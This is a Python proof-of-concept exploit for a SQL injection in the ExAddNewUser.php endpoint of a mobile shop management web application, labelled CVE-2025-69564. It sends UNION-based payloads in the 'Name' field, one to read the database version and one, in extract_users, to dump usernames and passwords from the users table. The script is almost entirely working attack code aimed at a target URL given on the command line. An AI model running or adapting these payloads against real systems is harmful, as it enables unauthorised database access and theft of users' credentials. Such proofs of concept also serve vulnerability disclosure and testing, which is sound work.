#!/usr/bin/env python3
"""
CVE-2025-69564 PoC - Mobile Shop Management System 1.0 SQL Injection
Target: /ExAddNewUser.php
Vulnerable Parameters: Name, Address, email, UserName, Password, confirm_password, Role, Branch, Activate
CVSS Score: 9.8 (CRITICAL)
"""
import requests
import sys
from urllib.parse import urlencode
def exploit_sql_injection(target_url):
"""
SQL Injection PoC for CVE-2025-69564
This demonstrates extracting database version information
"""
# Vulnerable endpoint
endpoint = f"{target_url}/ExAddNewUser.php"
# Malicious payload to extract database version
# Using UNION-based SQL injection
payload = {
'Name': "admin' UNION SELECT version(),2,3,4,5,6,7,8,9-- -",
'Address': 'Test Address',
'email': '
[email protected]',
'UserName': 'testuser',
'Password': 'test123',
'confirm_password': 'test123',
'Role': '1',
'Branch': '1',
'Activate': '1'
}
print(f"[*] Target: {endpoint}")
print(f"[*] Payload: {payload['Name']}")
try:
response = requests.post(endpoint, data=payload, timeout=10)
print(f"[+] Status Code: {response.status_code}")
print(f"[*] Response Length: {len(response.text)}")
# Check for SQL error indicators
if 'SQL' in response.text or 'mysql' in response.text.lower() or 'error' in response.text.lower():
print("[!] Potential SQL Injection detected - application may reveal database information")
print(f"[*] Response snippet: {response.text[:500]}")
else:
print("[*] No obvious SQL error in response - manual verification needed")
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
def extract_users(target_url):
"""
Extract user credentials from the database
"""
endpoint = f"{target_url}/ExAddNewUser.php"
# Payload to extract users table data
payload = {
'Name': "admin' UNION SELECT group_concat(UserName,0x3a,Password),2,3,4,5,6,7,8,9 FROM users-- -",
'Address': 'Test',
'email': '
[email protected]',
'UserName': 'test',
'Password': 'test',
'confirm_password': 'test',
'Role': '1',
'Branch': '1',
'Activate': '1'
}
try:
response = requests.post(endpoint, data=payload, timeout=10)
if 'admin:' in response.text:
print("[!] Successfully extracted user credentials from database")
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f"Usage: python3 {sys.argv[0]} <target_url>")
print(f"Example: python3 {sys.argv[0]} http://localhost:8080")
sys.exit(1)
target = sys.argv[1].rstrip('/')
exploit_sql_injection(target)